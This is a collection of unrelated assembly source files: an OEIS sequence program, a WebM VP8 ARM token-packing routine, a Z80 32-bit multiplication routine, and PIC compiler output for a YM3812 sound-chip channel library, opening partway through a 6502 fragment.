& 0xff) >> 1 lsr // return (unsigned int)((arr16[index & 0x7f] & 0xff) >> 1); sta.z return lda #0 sta.z return+1 // } rts } .segment Data arr16: .fill 2*$80, 0
; A078022: Expansion of (1-x)/(1-x+2*x^2+2*x^3). ; Submitted by Christian Krause ; 1,0,-2,-4,0,12,20,-4,-68,-100,44,380,492,-356,-2100,-2372,2540,11484,11148,-16900,-62164,-50660,107468,333116,219500,-661668,-1766900,-882564,3974572,9273500,3089484,-23406660,-48132628,-7498276,135580300,246842108,-9321940,-774166756,-1249207092,317770300,4364517996,6227391580,-3137185012,-24321004164,-30501417300,24414961052,134059803980,146232716476,-170716813588,-731301854500,-682333660276,1121703675900,3948974705452,3070234674204,-7071122088500,-21109540847812,-13107766019220 mov $2,1 lpb $0 sub $0,1 sub $1,$2 add $2,$1 add $4,$2 mov $3,$4 mov $4,$2 add $2,$3 mul $4,2 lpe mov $0,$2
; ; Copyright (c) 2010 The WebM project authors. All Rights Reserved. ; ; Use of this source code is governed by a BSD-style license ; that can be found in the LICENSE file in the root of the source ; tree. An additional intellectual property rights grant can be found ; in the file PATENTS. All contributing project authors may ; be found in the AUTHORS file in the root of the source tree. ; EXPORT |vp8cx_pack_tokens_armv5| INCLUDE vpx_vp8_enc_asm_offsets.asm ARM REQUIRE8 PRESERVE8 AREA |.text|, CODE, READONLY ; r0 vp8_writer *w ; r1 const TOKENEXTRA *p ; r2 int xcount ; r3 vp8_coef_encodings ; s0 vp8_extra_bits ; s1 vp8_coef_tree |vp8cx_pack_tokens_armv5| PROC push {r4-r11, lr} ; Add size of xcount * sizeof (TOKENEXTRA) to get stop ; sizeof (TOKENEXTRA) is 20 add r2, r2, r2, lsl #2 ; xcount sub sp, sp, #12 add r2, r1, r2, lsl #2 ; stop = p + xcount str r2, [sp, #0] str r3, [sp, #8] ; save vp8_coef_encodings ldr r2, [r0, #vp8_writer_lowvalue] ldr r5, [r0, #vp8_writer_range] ldr r3, [r0, #vp8_writer_count] b check_p_lt_stop while_p_lt_stop ldr r6, [r1, #tokenextra_token] ; t ldr r4, [sp, #8] ; vp8_coef_encodings mov lr, #0 add r4, r4, r6, lsl #3 ; a = vp8_coef_encodings + t ldr r9, [r1, #tokenextra_context_tree] ; pp ldr r7, [r1, #tokenextra_skip_eob_node] ldr r6, [r4, #vp8_token_value] ; v ldr r8, [r4, #vp8_token_len] ; n ; vp8 specific skip_eob_node cmp r7, #0 movne lr, #2 ; i = 2 subne r8, r8, #1 ; --n rsb r4, r8, #32 ; 32-n ldr r10, [sp, #52] ; vp8_coef_tree ; v is kept in r12 during the token pack loop lsl r12, r6, r4 ; r12 = v << 32 - n ; loop start token_loop ldrb r4, [r9, lr, asr #1] ; pp [i>>1] sub r7, r5, #1 ; range-1 ; Decisions are made based on the bit value shifted ; off of v, so set a flag here based on this. ; This value is refered to as "bb" lsls r12, r12, #1 ; bb = v >> n mul r4, r4, r7 ; ((range-1) * pp[i>>1])) ; bb can only be 0 or 1. So only execute this statement ; if bb == 1, otherwise it will act like i + 0 addcs lr, lr, #1 ; i + bb mov r7, #1 ldrsb lr, [r10, lr] ; i = vp8_coef_tree[i+bb] add r4, r7, r4, lsr #8 ; 1 + (((range-1) * pp[i>>1]) >> 8) addcs r2, r2, r4 ; if (bb) lowvalue += split subcs r4, r5, r4 ; if (bb) range = range-split ; Counting the leading zeros is used to normalize range. clz r6, r4 sub r6, r6, #24 ; shift ; Flag is set on the sum of count. This flag is used later ; to determine if count >= 0 adds r3, r3, r6 ; count += shift lsl r5, r4, r6 ; range <<= shift bmi token_count_lt_zero ; if(count >= 0) sub r6, r6, r3 ; offset = shift - count sub r4, r6, #1 ; offset-1 lsls r4, r2, r4 ; if((lowvalue<<(offset-1)) & 0x80000000 ) bpl token_high_bit_not_set ldr r4, [r0, #vp8_writer_pos] ; x sub r4, r4, #1 ; x = w->pos-1 b token_zero_while_start token_zero_while_loop mov r10, #0 strb r10, [r7, r4] ; w->buffer[x] =(unsigned char)0 sub r4, r4, #1 ; x-- token_zero_while_start cmp r4, #0 ldrge r7, [r0, #vp8_writer_buffer] ldrb r11, [r7, r4] cmpge r11, #0xff beq token_zero_while_loop ldr r7, [r0, #vp8_writer_buffer] ldrb r10, [r7, r4] ; w->buffer[x] add r10, r10, #1 strb r10, [r7, r4] ; w->buffer[x] + 1 token_high_bit_not_set rsb r4, r6, #24 ; 24-offset ldr r10, [r0, #vp8_writer_buffer] lsr r7, r2, r4 ; lowvalue >> (24-offset) ldr r4, [r0, #vp8_writer_pos] ; w->pos lsl r2, r2, r6 ; lowvalue <<= offset mov r6, r3 ; shift = count add r11, r4, #1 ; w->pos++ bic r2, r2, #0xff000000 ; lowvalue &= 0xffffff str r11, [r0, #vp8_writer_pos] sub r3, r3, #8 ; count -= 8 strb r7, [r10, r4] ; w->buffer[w->pos++] ; r10 is used earlier in the loop, but r10 is used as ; temp variable here. So after r10 is used, reload ; vp8_coef_tree_dcd into r10 ldr r10, [sp, #52] ; vp8_coef_tree token_count_lt_zero lsl r2, r2, r6 ; lowvalue <<= shift subs r8, r8, #1 ; --n bne token_loop ldr r6, [r1, #tokenextra_token] ; t ldr r7, [sp, #48] ; vp8_extra_bits ; Add t * sizeof (vp8_extra_bit_struct) to get the desired ; element. Here vp8_extra_bit_struct == 20 add r6, r6, r6, lsl #2 ; b = vp8_extra_bits + t add r12, r7, r6, lsl #2 ; b = vp8_extra_bits + t ldr r4, [r12, #vp8_extra_bit_struct_base_val] cmp r4, #0 beq skip_extra_bits ; if( b->base_val) ldr r8, [r12, #vp8_extra_bit_struct_len] ; L ldr lr, [r1, #tokenextra_extra] ; e = p->Extra cmp r8, #0 ; if( L) beq no_extra_bits ldr r9, [r12, #vp8_extra_bit_struct_prob] asr r7, lr, #1 ; v=e>>1 ldr r10, [r12, #vp8_extra_bit_struct_tree] str r10, [sp, #4] ; b->tree rsb r4, r8, #32 lsl r12, r7, r4 mov lr, #0 ; i = 0 extra_bits_loop ldrb r4, [r9, lr, asr #1] ; pp[i>>1] sub r7, r5, #1 ; range-1 lsls r12, r12, #1 ; v >> n mul r4, r4, r7 ; (range-1) * pp[i>>1] addcs lr, lr, #1 ; i + bb mov r7, #1 ldrsb lr, [r10, lr] ; i = b->tree[i+bb] add r4, r7, r4, lsr #8 ; split = 1 + (((range-1) * pp[i>>1]) >> 8) addcs r2, r2, r4 ; if (bb) lowvalue += split subcs r4, r5, r4 ; if (bb) range = range-split clz r6, r4 sub r6, r6, #24 adds r3, r3, r6 ; count += shift lsl r5, r4, r6 ; range <<= shift bmi extra_count_lt_zero ; if(count >= 0) sub r6, r6, r3 ; offset= shift - count sub r4, r6, #1 ; offset-1 lsls r4, r2, r4 ; if((lowvalue<<(offset-1)) & 0x80000000 ) bpl extra_high_bit_not_set ldr r4, [r0, #vp8_writer_pos] ; x sub r4, r4, #1 ; x = w->pos - 1 b extra_zero_while_start extra_zero_while_loop mov r10, #0 strb r10, [r7, r4] ; w->buffer[x] =(unsigned char)0 sub r4, r4, #1 ; x-- extra_zero_while_start cmp r4, #0 ldrge r7, [r0, #vp8_writer_buffer] ldrb r11, [r7, r4] cmpge r11, #0xff beq extra_zero_while_loop ldr r7, [r0, #vp8_writer_buffer] ldrb r10, [r7, r4] add r10, r10, #1 strb r10, [r7, r4] extra_high_bit_not_set rsb r4, r6, #24 ; 24-offset ldr r10, [r0, #vp8_writer_buffer] lsr r7, r2, r4 ; lowvalue >> (24-offset) ldr r4, [r0, #vp8_writer_pos] lsl r2, r2, r6 ; lowvalue <<= offset mov r6, r3 ; shift = count add r11, r4, #1 ; w->pos++ bic r2, r2, #0xff000000 ; lowvalue &= 0xffffff str r11, [r0, #vp8_writer_pos] sub r3, r3, #8 ; count -= 8 strb r7, [r10, r4] ; w->buffer[w->pos++]=(lowvalue >> (24-offset)) ldr r10, [sp, #4] ; b->tree extra_count_lt_zero lsl r2, r2, r6 subs r8, r8, #1 ; --n bne extra_bits_loop ; while (n) no_extra_bits ldr lr, [r1, #4] ; e = p->Extra add r4, r5, #1 ; range + 1 tst lr, #1 lsr r4, r4, #1 ; split = (range + 1) >> 1 addne r2, r2, r4 ; lowvalue += split subne r4, r5, r4 ; range = range-split tst r2, #0x80000000 ; lowvalue & 0x80000000 lsl r5, r4, #1 ; range <<= 1 beq end_high_bit_not_set ldr r4, [r0, #vp8_writer_pos] mov r7, #0 sub r4, r4, #1 b end_zero_while_start end_zero_while_loop strb r7, [r6, r4] sub r4, r4, #1 ; x-- end_zero_while_start cmp r4, #0 ldrge r6, [r0, #vp8_writer_buffer] ldrb r12, [r6, r4] cmpge r12, #0xff beq end_zero_while_loop ldr r6, [r0, #vp8_writer_buffer] ldrb r7, [r6, r4] add r7, r7, #1 strb r7, [r6, r4] end_high_bit_not_set adds r3, r3, #1 ; ++count lsl r2, r2, #1 ; lowvalue <<= 1 bne end_count_zero ldr r4, [r0, #vp8_writer_pos] mvn r3, #7 ldr r7, [r0, #vp8_writer_buffer] lsr r6, r2, #24 ; lowvalue >> 24 add r12, r4, #1 ; w->pos++ bic r2, r2, #0xff000000 ; lowvalue &= 0xffffff str r12, [r0, #0x10] strb r6, [r7, r4] end_count_zero skip_extra_bits add r1, r1, #TOKENEXTRA_SZ ; ++p check_p_lt_stop ldr r4, [sp, #0] ; stop cmp r1, r4 ; while( p < stop) bcc while_p_lt_stop str r2, [r0, #vp8_writer_lowvalue] str r5, [r0, #vp8_writer_range] str r3, [r0, #vp8_writer_count] add sp, sp, #12 pop {r4-r11, pc} ENDP END
; ; feilipu, 2019 April ; ; This Source Code Form is subject to the terms of the Mozilla Public ; License, v. 2.0. If a copy of the MPL was not distributed with this ; file, You can obtain one at http://mozilla.org/MPL/2.0/. ; ;------------------------------------------------------------------------------ IF __CPU_Z80__ INCLUDE "config_private.inc" SECTION code_clib SECTION code_fp_math32 EXTERN m32_z80_mulu_de PUBLIC m32_mulu_32h_32x32 ;------------------------------------------------------------------------------ ; ; multiplication of two 32-bit numbers into the high bytes of 64-bit product ; ; NOTE THIS IS NOT A TRUE MULTIPLY. ; Carry in from low bytes is not calculated. ; Rounding is done at 2^16. ; ; enter : dehl = 32-bit multiplier = x ; dehl' = 32-bit multiplicand = y ; ; exit : dehl = 32-bit product ; carry reset ; ; uses : af, bc, de, hl, af', bc', de', hl' .m32_mulu_32h_32x32 ld c,l ld b,h push de exx pop bc push hl exx pop de ; multiplication of two 32-bit numbers into a 32-bit product ; ; enter : de'de = 32-bit multiplier = x ; bc'bc = 32-bit multiplicand = y ; ; exit : dehl = 32-bit product ; carry reset ; ; uses : af, bc, de, hl, af', bc', de', hl' ; save material for the byte p7 p6 = x3*y3 + p5 carry exx ;' ld h,d ld l,b push hl ;'x3 y3 ; save material for the byte p5 = x3*y2 + x2*y3 + p4 carry ld l,c push hl ;'x3 y2 ld h,b ld l,e push hl ;'y3 x2 ; save material for the byte p4 = x3*y1 + x2*y2 + x1*y3 + p3 carry ld h,e ld l,c push hl ;'x2 y2 ld h,d ld l,b push hl ;'x3 y3 exx ; ld l,b ld h,d push hl ; x1 y1 ; save material for the byte p3 = x3*y0 + x2*y1 + x1*y2 + x0*y3 push bc ; y1 y0 exx ;' push de ;'x3 x2 push bc ;'y3 y2 exx ; ; push de ; x1 x0 IF __IO_LUT_MODULE_AVAILABLE == 0 ; start doing the p3 byte pop hl ; y3 y2 ld a,h ld h,d ld d,a call m32_z80_mulu_de ; y3*x0 ex de,hl call m32_z80_mulu_de ; x1*y2 xor a ; zero A add hl,de ; p4 p3 adc a,a ; p5 ld b,h ld c,l ex af,af pop hl ; x3 x2 pop de ; y1 y0 ld a,h ld h,d ld d,a call m32_z80_mulu_de ; x3*y0 ex de,hl call m32_z80_mulu_de ; y1*x2 ex af,af add hl,de ; p4 p3 adc a,0 ; p5 add hl,bc ; p4 p3 adc a,0 ; p5 ex af,af ld a,l ; preserve p3 byte for rounding ex af,af ld c,h ; prepare BC for next cycle ld b,a ; promote BC p5 p4 ; start doing the p4 byte pop hl ; x1 y1 pop de ; x3 y3 ld a,h ld h,d ld d,a call m32_z80_mulu_de ; x1*y3 ex de,hl call m32_z80_mulu_de ; x3*y1 xor a ; zero A add hl,de ; p5 p4 adc a,a ; p6 add hl,bc ; p5 p4 adc a,0 ; p6 pop de ; x2 y2 call m32_z80_mulu_de ; x2*y2 add hl,de ; p5 p4 adc a,0 ; p6 ld c,l ; final p4 byte in C ld l,h ; prepare HL for next cycle ld h,a ; promote HL p6 p5 ex af,af or a jr Z,mul0 ; use p3 to round p4 set 0,c .mul0 ; start doing the p5 byte pop de ; y3 x2 call m32_z80_mulu_de ; y3*x2 xor a ; zero A add hl,de ; p6 p5 adc a,a ; p7 pop de ; x3 y2 call m32_z80_mulu_de ; x3*y2 add hl,de ; p6 p5 adc a,0 ; p7 ld b,l ; final p5 byte in B ld l,h ; prepare HL for next cycle ld h,a ; promote HL p7 p6 ; start doing the p6 p7 bytes pop de ; y3 x3 call m32_z80_mulu_de ; y3*x3 add hl,de ; p7 p6 ex de,hl ; p7 p6 ld h,b ; p5 ld l,c ; p4 ret ; exit : DEHL = 32-bit product ELSE ; start doing the p3 byte pop hl ; y3 y2 ld a,h ld h,d ld d,a ;;; MLT HL (BC) ;;;;;;;;;;;;;;;;; x1*y2 ld b,h ; 4 operand Y in B ld c,__IO_LUT_OPERAND_LATCH ; 7 operand latch address out (c),l ; 12 operand X from L dec c ; 4 result MSB address in h,(c) ; 12 result Z MSB to H dec c ; 4 result LSB address in l,(c) ; 12 result Z LSB to L ;;; MLT DE (BC) ;;;;;;;;;;;;;;;;; y3*x0 ld b,d ; 4 operand Y in B ld c,__IO_LUT_OPERAND_LATCH ; 7 operand latch address out (c),e ; 12 operand X from E dec c ; 4 result MSB address in d,(c) ; 12 result Z MSB to D dec c ; 4 result LSB address in e,(c) ; 12 result Z LSB to E ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; xor a ; zero A add hl,de ; p4 p3 adc a,a ; p5 ex af,af pop bc ; x3 x2 pop de ; y1 y0 ld a,b ld b,d ld d,a push bc ; y1 x2 ;;; MLT DE (BC) ;;;;;;;;;;;;;;;;; x3*y0 ld b,d ; 4 operand Y in B ld c,__IO_LUT_OPERAND_LATCH ; 7 operand latch address out (c),e ; 12 operand X from E dec c ; 4 result MSB address in d,(c) ; 12 result Z MSB to D dec c ; 4 result LSB address in e,(c) ; 12 result Z LSB to E ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ex af,af add hl,de ; p4 p3 adc a,0 ; p5 pop de ; y1 x2 ;;; MLT DE (BC) ;;;;;;;;;;;;;;;;; y1*x2 ld b,d ; 4 operand Y in B ld c,__IO_LUT_OPERAND_LATCH ; 7 operand latch address out (c),e ; 12 operand X from E dec c ; 4 result MSB address in d,(c) ; 12 result Z MSB to D dec c ; 4 result LSB address in e,(c) ; 12 result Z LSB to E ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; add hl,de ; p4 p3 adc a,0 ; p5 ex af,af ld a,l ; preserve p3 byte for rounding ex af,af ld l,h ; prepare HL for next cycle ld h,a ; promote HL p5 p4 ; start doing the p4 byte pop bc ; x1 y1 pop de ; x3 y3 ld a,b ld b,d ld d,a push bc ; x3 y1 ;;; MLT DE (BC) ;;;;;;;;;;;;;;;;; x1*y3 ld b,d ; 4 operand Y in B ld c,__IO_LUT_OPERAND_LATCH ; 7 operand latch address out (c),e ; 12 operand X from E dec c ; 4 result MSB address in d,(c) ; 12 result Z MSB to D dec c ; 4 result LSB address in e,(c) ; 12 result Z LSB to E ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; xor a ; zero A add hl,de ; p5 p4 adc a,a ; p6 pop de ; x3 y1 ;;; MLT DE (BC) ;;;;;;;;;;;;;;;;; x3*y1 ld b,d ; 4 operand Y in B ld c,__IO_LUT_OPERAND_LATCH ; 7 operand latch address out (c),e ; 12 operand X from E dec c ; 4 result MSB address in d,(c) ; 12 result Z MSB to D dec c ; 4 result LSB address in e,(c) ; 12 result Z LSB to E ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; add hl,de ; p5 p4 adc a,0 ; p6 pop de ; x2 y2 ;;; MLT DE (BC) ;;;;;;;;;;;;;;;;; x2*y2 ld b,d ; 4 operand Y in B ld c,__IO_LUT_OPERAND_LATCH ; 7 operand latch address out (c),e ; 12 operand X from E dec c ; 4 result MSB address in d,(c) ; 12 result Z MSB to D dec c ; 4 result LSB address in e,(c) ; 12 result Z LSB to E ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; add hl,de ; p5 p4 adc a,0 ; p6 ld c,l ; final p4 byte in C ld l,h ; prepare HL for next cycle ld h,a ; promote HL p6 p5 ex af,af ; p3 byte for rounding or a jr Z,mul0 ; use p3 to round p4 set 0,c .mul0 ; start doing the p5 byte pop de ; y3 x2 push bc ; save p4 byte ;;; MLT DE (BC) ;;;;;;;;;;;;;;;;; y3*x2 ld b,d ; 4 operand Y in B ld c,__IO_LUT_OPERAND_LATCH ; 7 operand latch address out (c),e ; 12 operand X from E dec c ; 4 result MSB address in d,(c) ; 12 result Z MSB to D dec c ; 4 result LSB address in e,(c) ; 12 result Z LSB to E ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; xor a ; zero A add hl,de ; p6 p5 adc a,a ; p7 pop bc ; save p4 byte pop de ; x3 y2 push bc ; save p4 byte ;;; MLT DE (BC) ;;;;;;;;;;;;;;;;; x3*y2 ld b,d ; 4 operand Y in B ld c,__IO_LUT_OPERAND_LATCH ; 7 operand latch address out (c),e ; 12 operand X from E dec c ; 4 result MSB address in d,(c) ; 12 result Z MSB to D dec c ; 4 result LSB address in e,(c) ; 12 result Z LSB to E ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; add hl,de ; p6 p5 adc a,0 ; p7 pop bc ; save p4 byte in C ld b,l ; final p5 byte in B ld l,h ; prepare HL for next cycle ld h,a ; promote HL p7 p6 ; start doing the p6 p7 bytes pop de ; y3 x3 push bc ; save p5 p4 byte in BC ;;; MLT DE (BC) ;;;;;;;;;;;;;;;;; y3*x3 ld b,d ; 4 operand Y in B ld c,__IO_LUT_OPERAND_LATCH ; 7 operand latch address out (c),e ; 12 operand X from E dec c ; 4 result MSB address in d,(c) ; 12 result Z MSB to D dec c ; 4 result LSB address in e,(c) ; 12 result Z LSB to E ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; add hl,de ; p7 p6 in HL pop de ; save p5 p4 byte in DE ex de,hl ; p7 p6 p5 p4 ret ; exit : DEHL = 32-bit product ENDIF ENDIF
_Init: ;lib_channel.c,4 :: void Init(struct YM3812_Channel *channel) { ;lib_channel.c,5 :: channel->ChannelNumber = 0x00; MOVF FARG_Init_channel+0, 0 MOVWF FSR CLRF INDF+0 ;lib_channel.c,6 :: channel->reg_20[0] = 0x00; INCF FARG_Init_channel+0, 0 MOVWF FSR CLRF INDF+0 ;lib_channel.c,7 :: channel->reg_20[1] = 0x00; INCF FARG_Init_channel+0, 0 MOVWF R0+0 INCF R0+0, 0 MOVWF FSR CLRF INDF+0 ;lib_channel.c,8 :: channel->reg_40[0] = 0x00; MOVLW 3 ADDWF FARG_Init_channel+0, 0 MOVWF FSR CLRF INDF+0 ;lib_channel.c,9 :: channel->reg_40[1] = 0x00; MOVLW 3 ADDWF FARG_Init_channel+0, 0 MOVWF R0+0 INCF R0+0, 0 MOVWF FSR CLRF INDF+0 ;lib_channel.c,10 :: channel->reg_60[0] = 0x00; MOVLW 5 ADDWF FARG_Init_channel+0, 0 MOVWF FSR CLRF INDF+0 ;lib_channel.c,11 :: channel->reg_60[1] = 0x00; MOVLW 5 ADDWF FARG_Init_channel+0, 0 MOVWF R0+0 INCF R0+0, 0 MOVWF FSR CLRF INDF+0 ;lib_channel.c,12 :: channel->reg_80[0] = 0x00; MOVLW 7 ADDWF FARG_Init_channel+0, 0 MOVWF FSR CLRF INDF+0 ;lib_channel.c,13 :: channel->reg_80[1] = 0x00; MOVLW 7 ADDWF FARG_Init_channel+0, 0 MOVWF R0+0 INCF R0+0, 0 MOVWF FSR CLRF INDF+0 ;lib_channel.c,14 :: channel->reg_B0 = 0x00; MOVLW 9 ADDWF FARG_Init_channel+0, 0 MOVWF FSR CLRF INDF+0 ;lib_channel.c,15 :: channel->reg_C0 = 0x00; MOVLW 10 ADDWF FARG_Init_channel+0, 0 MOVWF FSR CLRF INDF+0 ;lib_channel.c,16 :: } L_end_Init: RETURN ; end of _Init _SetMultiplier: ;lib_channel.c,22 :: ) { ;lib_channel.c,24 :: channel->reg_20[o] = (channel->reg_20[o] & 0xF0) | d; INCF FARG_SetMultiplier_channel+0, 0 MOVWF R0+0 MOVF FARG_SetMultiplier_o+0, 0 ADDWF R0+0, 0 MOVWF R1+0 MOVF R1+0, 0 MOVWF FSR MOVLW 240 ANDWF INDF+0, 0 MOVWF R0+0 MOVF FARG_SetMultiplier_d+0, 0 IORWF R0+0, 1 MOVF R1+0, 0 MOVWF FSR MOVF R0+0, 0 MOVWF INDF+0 ;lib_channel.c,26 :: YM3812_SetOperatorRegister(0x20, channel->reg_20[o], channel->ChannelNumber, o); MOVLW 32 MOVWF FARG_YM3812_SetOperatorRegister_reg+0 INCF FARG_SetMultiplier_channel+0, 0 MOVWF R0+0 MOVF FARG_SetMultiplier_o+0, 0 ADDWF R0+0, 0 MOVWF FSR MOVF INDF+0, 0 MOVWF FARG_YM3812_SetOperatorRegister_dt+0 MOVF FARG_SetMultiplier_channel+0, 0 MOVWF FSR MOVF INDF+0, 0 MOVWF FARG_YM3812_SetOperatorRegister_ch+0 MOVF FARG_SetMultiplier_o+0, 0 MOVWF FARG_YM3812_SetOperatorRegister_op+0 CALL _YM3812_SetOperatorRegister+0 ;lib_channel.c,27 :: } L_end_SetMultiplier: RETURN ; end of _SetMultiplier _SetNonPercussive: ;lib_channel.c,33 :: ) { ;lib_channel.c,35 :: channel->reg_20[o] = (channel->reg_20[o] & 0xDF) | (d << 5); INCF FARG_SetNonPercussive_channel+0, 0 MOVWF R0+0 MOVF FARG_SetNonPercussive_o+0, 0 ADDWF R0+0, 0 MOVWF R3+0 MOVF R3+0, 0 MOVWF FSR MOVLW 223 ANDWF INDF+0, 0 MOVWF R2+0 MOVLW 5 MOVWF R1+0 MOVF FARG_SetNonPercussive_d+0, 0 MOVWF R0+0 MOVF R1+0, 0 L__SetNonPercussive3: BTFSC STATUS+0, 2 GOTO L__SetNonPercussive4 RLF R0+0, 1 BCF R0+0, 0 ADDLW 255 GOTO L__SetNonPercussive3 L__SetNonPercussive4: MOVF R2+0, 0 IORWF R0+0, 1 MOVF R3+0, 0 MOVWF FSR MOVF R0+0, 0 MOVWF INDF+0 ;lib_channel.c,37 :: YM3812_SetOperatorRegister(0x20, channel->reg_20[o], channel->ChannelNumber, o); MOVLW 32 MOVWF FARG_YM3812_SetOperatorRegister_reg+0 INCF FARG_SetNonPercussive_channel+0, 0 MOVWF R0+0 MOVF FARG_SetNonPercussive_o+0, 0 ADDWF R0+0, 0 MOVWF FSR MOVF INDF+0, 0 MOVWF FARG_YM3812_SetOperatorRegister_dt+0 MOVF FARG_SetNonPercussive_channel+0, 0 MOVWF FSR MOVF INDF+0, 0 MOVWF FARG_YM3812_SetOperatorRegister_ch+0 MOVF FARG_SetNonPercussive_o+0, 0 MOVWF FARG_YM3812_SetOperatorRegister_op+0 CALL _YM3812_SetOperatorRegister+0 ;lib_channel.c,38 :: } L_end_SetNonPercussive: RETURN ; end of _SetNonPercussive _SetVibrato: ;lib_channel.c,44 :: ) { ;lib_channel.c,46 :: channel->reg_20[o] = (channel->reg_20[o] & 0xBF) | (d << 6); INCF FARG_SetVibrato_channel+0, 0 MOVWF R0+0 MOVF FARG_SetVibrato_o+0, 0 ADDWF R0+0, 0 MOVWF R3+0 MOVF R3+0, 0 MOVWF FSR MOVLW 191 ANDWF INDF+0, 0 MOVWF R2+0 MOVLW 6 MOVWF R1+0 MOVF FARG_SetVibrato_d+0, 0 MOVWF R0+0 MOVF R1+0, 0 L__SetVibrato6: BTFSC STATUS+0, 2 GOTO L__SetVibrato7 RLF R0+0, 1 BCF R0+0, 0 ADDLW 255 GOTO L__SetVibrato6 L__SetVibrato7: MOVF R2+0, 0 IORWF R0+0, 1 MOVF R3+0, 0 MOVWF FSR MOVF R0+0, 0 MOVWF INDF+0 ;lib_channel.c,48 :: YM3812_SetOperatorRegister(0x20, channel->reg_20[o], channel->ChannelNumber, o); MOVLW 32 MOVWF FARG_YM3812_SetOperatorRegister_reg+0 INCF FARG_SetVibrato_channel+0, 0 MOVWF R0+0 MOVF FARG_SetVibrato_o+0, 0 ADDWF R0+0, 0 MOVWF FSR MOVF INDF+0, 0 MOVWF FARG_YM3812_SetOperatorRegister_dt+0 MOVF FARG_SetVibrato_channel+0, 0 MOVWF FSR MOVF INDF+0, 0 MOVWF FARG_YM3812_SetOperatorRegister_ch+0 MOVF FARG_SetVibrato_o+0, 0 MOVWF FARG_YM3812_SetOperatorRegister_op+0 CALL _YM3812_SetOperatorRegister+0 ;lib_channel.c,49 :: } L_end_SetVibrato: RETURN ; end of _SetVibrato _SetTremolo: ;lib_channel.c,55 :: ) { ;lib_channel.c,57 :: channel->reg_20[o] = (channel->reg_20[o] & 0x7F) | (d << 7); INCF FARG_SetTremolo_channel+0, 0 MOVWF R0+0 MOVF FARG_SetTremolo_o+0, 0 ADDWF R0+0, 0 MOVWF R3+0 MOVF R3+0, 0 MOVWF FSR MOVLW 127 ANDWF INDF+0, 0 MOVWF R2+0 MOVLW 7 MOVWF R1+0 MOVF FARG_SetTremolo_d+0, 0 MOVWF R0+0 MOVF R1+0, 0 L__SetTremolo9: BTFSC STATUS+0, 2 GOTO L__SetTremolo10 RLF R0+0, 1 BCF R0+0, 0 ADDLW 255 GOTO L__SetTremolo9 L__SetTremolo10: MOVF R2+0, 0 IORWF R0+0, 1 MOVF R3+0, 0 MOVWF FSR MOVF R0+0, 0 MOVWF INDF+0 ;lib_channel.c,59 :: YM3812_SetOperatorRegister(0x20, channel->reg_20[o], channel->ChannelNumber, o); MOVLW 32 MOVWF FARG_YM3812_SetOperatorRegister_reg+0 INCF FARG_SetTremolo_channel+0, 0 MOVWF R0+0 MOVF FARG_SetTremolo_o+0, 0 ADDWF R0+0, 0 MOVWF FSR MOVF INDF+0, 0 MOVWF FARG_YM3812_SetOperatorRegister_dt+0 MOVF FARG_SetTremolo_channel+0, 0 MOVWF FSR MOVF INDF+0, 0 MOVWF FARG_YM3812_SetOperatorRegister_ch+0 MOVF FARG_SetTremolo_o+0, 0 MOVWF FARG_YM3812_SetOperatorRegister_op+0 CALL _YM3812_SetOperatorRegister+0 ;lib_channel.c,60 :: } L_end_SetTremolo: RETURN ; end of _SetTremolo _SetDecay: ;lib_channel.c,66 :: ) { ;lib_channel.c,68 :: channel->reg_60[o] = (channel->reg_60[o] & 0xF0) | d; MOVLW 5 ADDWF FARG_SetDecay_channel+0, 0 MOVWF R0+0 MOVF FARG_SetDecay_o+0, 0 ADDWF R0+0, 0 MOVWF R1+0 MOVF R1+0, 0 MOVWF FSR MOVLW 240 ANDWF INDF+0, 0 MOVWF R0+0 MOVF FARG_SetDecay_d+0, 0 IORWF R0+0, 1 MOVF R1+0, 0 MOVWF FSR MOVF R0+0, 0 MOVWF INDF+0 ;lib_channel.c,70 :: YM3812_SetOperatorRegister(0x60, channel->reg_60[o], channel->ChannelNumber, o); MOVLW 96 MOVWF FARG_YM3812_SetOperatorRegister_reg+0 MOVLW 5 ADDWF FARG_SetDecay_channel+0, 0 MOVWF R0+0 MOVF FARG_SetDecay_o+0, 0 ADDWF R0+0, 0 MOVWF FSR MOVF INDF+0, 0 MOVWF FARG_YM3812_SetOperatorRegister_dt+0 MOVF FARG_SetDecay_channel+0, 0 MOVWF FSR MOVF INDF+0, 0 MOVWF FARG_YM3812_SetOperatorRegister_ch+0 MOVF FARG_SetDecay_o+0, 0 MOVWF FARG_YM3812_SetOperatorRegister_op+0 CALL _YM3812_SetOperatorRegister+0 ;lib_channel.c,71 :: } L_end_SetDecay: RETURN ; end of _SetDecay _SetAttack: ;lib_channel.c,77 :: ) { ;lib_channel.c,79 :: channel->reg_60[o] = (channel->reg_60[o] & 0x0F) | (d << 4); MOVLW 5 ADDWF FARG_SetAttack_channel+0, 0 MOVWF R0+0 MOVF FARG_SetAttack_o+0, 0 ADDWF R0+0, 0 MOVWF R3+0 MOVF R3+0, 0 MOVWF FSR MOVLW 15 ANDWF INDF+0, 0 MOVWF R2+0 MOVF FARG_SetAttack_d+0, 0 MOVWF R0+0 RLF R0+0, 1 BCF R0+0, 0 RLF R0+0, 1 BCF R0+0, 0 RLF R0+0, 1 BCF R0+0, 0 RLF R0+0, 1 BCF R0+0, 0 MOVF R2+0, 0 IORWF R0+0, 1 MOVF R3+0, 0 MOVWF FSR MOVF R0+0, 0 MOVWF INDF+0 ;lib_channel.c,81 :: YM3812_SetOperatorRegister(0x60, channel->reg_60[o], channel->ChannelNumber, o); MOVLW 96 MOVWF FARG_YM3812_SetOperatorRegister_reg+0 MOVLW 5 ADDWF FARG_SetAttack_channel+0, 0 MOVWF R0+0 MOVF FARG_SetAttack_o+0, 0 ADDWF R0+0, 0 MOVWF FSR MOVF INDF+0, 0 MOVWF FARG_YM3812_SetOperatorRegister_dt+0 MOVF FARG_SetAttack_channel+0, 0 MOVWF FSR MOVF INDF+0, 0 MOVWF FARG_YM3812_SetOperatorRegister_ch+0 MOVF FARG_SetAttack_o+0, 0 MOVWF FARG_YM3812_SetOperatorRegister_op+0 CALL _YM3812_SetOperatorRegister+0 ;lib_channel.c,82 :: } L_end_SetAttack: RETURN 